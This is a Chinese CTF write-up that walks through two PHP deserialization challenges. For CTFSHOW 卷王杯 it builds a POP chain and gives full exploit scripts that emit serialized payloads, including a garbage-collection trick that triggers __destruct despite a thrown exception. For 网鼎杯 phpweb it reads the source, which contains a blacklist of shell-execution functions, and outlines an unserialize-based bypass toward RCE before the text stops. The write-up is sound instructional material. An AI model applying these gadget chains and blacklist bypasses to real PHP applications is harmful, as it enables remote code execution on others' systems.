记录几题比较有意思的反序列化题目

CTFSHOW[卷王杯]

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");

class one {
public $object;

public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
protected $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}

这个源码的审计还是比较有点难度的;刚开始就看到了一个自定义的方法MeMeMe()

此时我看不懂此时自定义的方法MeMeMe();所以此时学习了一下发现以后遇到这种看不咋明白的函数此时可以自己写一个demo来实践一下
demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class Demo
{
public $object="hey bro";
public function MeMeMe() {
array_walk($this, function($fn, $prev){
echo $fn."|".$prev;
});
}
}
$a=new Demo();
$a->MeMeMe();
?>


此时我们可以看到array_walk的作用便是遍历此时我们自定义的函数function($fn, $prev);此时这个函数的的作用便是输出$fn|$prev;并且$fn为成员的值;$prev为成员的名;所以若是我们要满足上述代码的条件;此时我们就需要重新添加一行

1
public $year_parm = array("Happy_func")

此时回归到我们的pop链;依旧是老方法开始审源码,找链尾,倒推出整条pop链。
分析:
由echo$flag可知MeMeMe()可以作为链尾;接着我们找到可以触发MeMeMe();此时在third类中的_get方法中的$var$name可以触发MeMeMe();所
以此时我们只需要继续找到触发_get()的方法即可;此时我们知道当访问一个无法访问的对象时便可以触发_get;此时我们在one类中的_toString方法
中可知return $this->object->string;此时的string是不存在的对象自然可以触发到_get;此时我们的想法就是触发_toString;此时发现在secon
d类中的addMe()中有一个return “Wow you have sovled”.$this->filename;此时在这个方法中将filename的成员变量与字符串相连接;所以此时
便可以触发_toString;此时我们还需继续触发addMe();此时可以继续在second类中的_call中发现一个回调函数;此时我们可以利用这个回调函数来触
发addMe();只需要令回调函数为addMe()即可;所以接下来我们需要触发的是_call;而当调用一个不可访问的对象时便可以触发_call;所以此时我们在
one类中找到了_destruct()中的@$this->object->add();此时调用了add()这个不存在的对象;此时便可以触发_call。

1
2
3
4
5
6
class one:_destruct:@$this->object->add()  --> 触发_call
class second:_call:call_user_func([$this, $func."Me"], $args) --> 触发addMe()
class second:addMe():return "Wow you have sovled".$this->filename --> 触发_toString()
class one:_toString(): $this->string = $string; --> 触发_get()
class third:_get:$var[$name](); --> 触发MeMeMe()
链子:one{_destruct} -> second{_call} -> second{_addMe} -> one{_toString} -> third{_get} -> one{MeMeMe}

此时比较让人头疼的点是这里如何在_get里面调用MeMeMe();此时的_get方法中是一个 $var = $this->$name; $var$name;此时我们可以采用
数组调用类的方法令$var=array(‘$name’=>[new one(),”MeMeMe”]); 就可以 $var[$name]=one::MeMeMe();

1
2
3
4
5
6
7
数组调用类:
$var = $this -> $name;
$var[$name]()
此时令
$var = array('$name' => [new one(),"MeMeMe"]);
可得
$var[$name] = one::MeMeMe();

所以此时的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
<?php
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
public $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a = new one;
$a -> object = new second;
$a -> object -> filename = new one;
$a -> object -> filename -> object = new third(['string' => [new one(),'MeMeMe']]);
echo urlencode(serialize($a));
?>

但是我们还是需要继续满足MeMeMe中的if条件;此时通过前面我们可知需要在class one中添加上面成员的成员属性即可

1
public $year_parm = array("Happy_func")

然后我们注意到源码中还有一个throw new Exception(“高一新生报道”);此时这个玩意儿会阻止_destruct的调用;此时我们就需要利用到GC回收机制
使得变量最后的调用转移也就是丢掉变量;此时只需要在继续在前面的exp中添加

1
$c = array(0=>$a,1=>NULL);

然后在最后的1改为0即可。
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class one {
public $object;
public $year_parm = array("Happy_func");
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
public $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a = new one;
$a -> object = new second;
$a -> object -> filename = new one;
$a -> object -> filename -> object = new third(['string' => [new one(),'MeMeMe']]);

$c = array(0=>$a,1=>NULL);
echo urlencode(serialize($c));
?>

[网鼎杯 2020 朱雀组]phpweb

此时进入到界面后发现会每隔五秒刷新一次界面;因为怕在界面刷新时漏掉一些信息;所以此时采用bp来抓包看看有啥情况;此时发现这个通过POST的方式提交了func=date&p=Y-m-d+h%3Ai%3As+a

此时发现这里是提交了一个date函数,然后p作为date函数的参数;此时我们想的是可不可以利用读取源码的函数来进行一个源码的读取;此时可以利用

1
2
3
file_get_contents('path')
readfile('path')
highlight_file('path')

这三个函数来读取文件;此时注意只有highlight_file(‘path’)能在编译器编译后能显示出文件源代码,并且在浏览器中打开时也能显示源代。
此时发现可以把源码读取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p); //回调$func($p)
$a= gettype($result); //获取变量的类型
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

代码审计:
此时先定义了一组黑名单数组;和一个自定义函数gettime;此时这个自定义函数gettime里面有一个回调函数;并且做了一个判断若是$result是字符串则返回该字符串;接下来定义了一个Test类;这个类里面有一个_destruct魔术魔方;当一个对象被销毁时会触发进而触发自定义的gettime();因为在我们输入func时后
台会对其进行一个很严格的黑名单校验;所以此时我们可以令$func=unserialize;然后利用反序列化后销毁对象来触发_destruct
此时发现后台对我们输入的$func做了一个很严格的黑名单过滤;但是此时我们关注到一个回调函数call_user_func($func,$p);此时我们发现这个反序列化函数unserilize并不在这个黑名单里面;此时我们可以利用反序列化配合回调函数绕过这个黑名单的限制进而进行RCE。